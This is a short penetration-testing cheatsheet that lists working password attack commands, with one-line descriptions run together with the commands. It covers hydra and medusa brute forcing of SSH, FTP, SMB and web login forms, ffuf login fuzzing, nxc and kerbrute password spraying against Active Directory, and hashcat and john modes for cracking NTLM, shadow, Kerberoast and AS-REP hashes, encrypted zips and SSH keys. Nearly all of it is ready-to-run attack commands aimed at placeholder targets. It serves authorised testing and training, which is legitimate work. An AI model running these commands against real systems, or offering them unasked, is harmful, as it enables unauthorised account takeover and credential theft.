Brute Force & Password Attacks — Cheatsheet
hydra/medusa/netexec spraying plus hashcat & john modes.
Brute Force & Password Attacks — Cheatsheet
Service brute force
Brute-force SSH with a user list and rockyou.
$hydra -L users.txt -P rockyou.txt ssh://$IPBrute-force FTP for a single known user.
$hydra -l admin -P rockyou.txt ftp://$IPSpray SMB logins across users and passwords.
$hydra -L users.txt -P pass.txt $IP smbSame against SSH using medusa.
$medusa -h $IP -u admin -P rockyou.txt -M sshWeb login brute force
Brute-force an HTML login form (adjust the failure string).
$hydra -L users.txt -P rockyou.txt $IP http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"Fuzz a POST login with ffuf, filtering out the failure code.
$ffuf -u http://$IP/login -X POST -d "user=admin&pass=FUZZ" -w rockyou.txt -H "Content-Type: application/x-www-form-urlencoded" -fc 200Spraying (AD)
Spray one password across all domain users.
$nxc smb $DC -u users.txt -p 'Season2024!' --continue-on-successKerberos-based spray (no SMB lockout noise).
$kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Season2024!'Cracking — hashcat (pick the mode by hash type)
Crack raw MD5 hashes.
$hashcat -m 0 hash.txt rockyou.txtCrack Windows NTLM hashes.
$hashcat -m 1000 hash.txt rockyou.txtCrack Linux sha512crypt ($6$) shadow hashes.
$hashcat -m 1800 hash.txt rockyou.txtCrack Kerberoast (TGS-REP) hashes.
$hashcat -m 13100 spns.hash rockyou.txtCrack AS-REP roast hashes.
$hashcat -m 18200 asrep.hash rockyou.txtCracking — john
Crack a hash with a wordlist.
$john --wordlist=rockyou.txt hash.txtForce the NT format when autodetect guesses wrong.
$john --format=NT hash.txt --wordlist=rockyou.txtCrack a password-protected zip.
$zip2john file.zip > zip.hash && john zip.hashCrack an encrypted SSH private key.
$ssh2john id_rsa > ssh.hash && john ssh.hashWordlist / mutation
Build a wordlist from words on the target site.
$cewl http://$IP -w words.txtExpand a wordlist with hashcat rules (leetspeak, appends, etc.).
$hashcat --stdout words.txt -r /usr/share/hashcat/rules/best64.rule > mutated.txt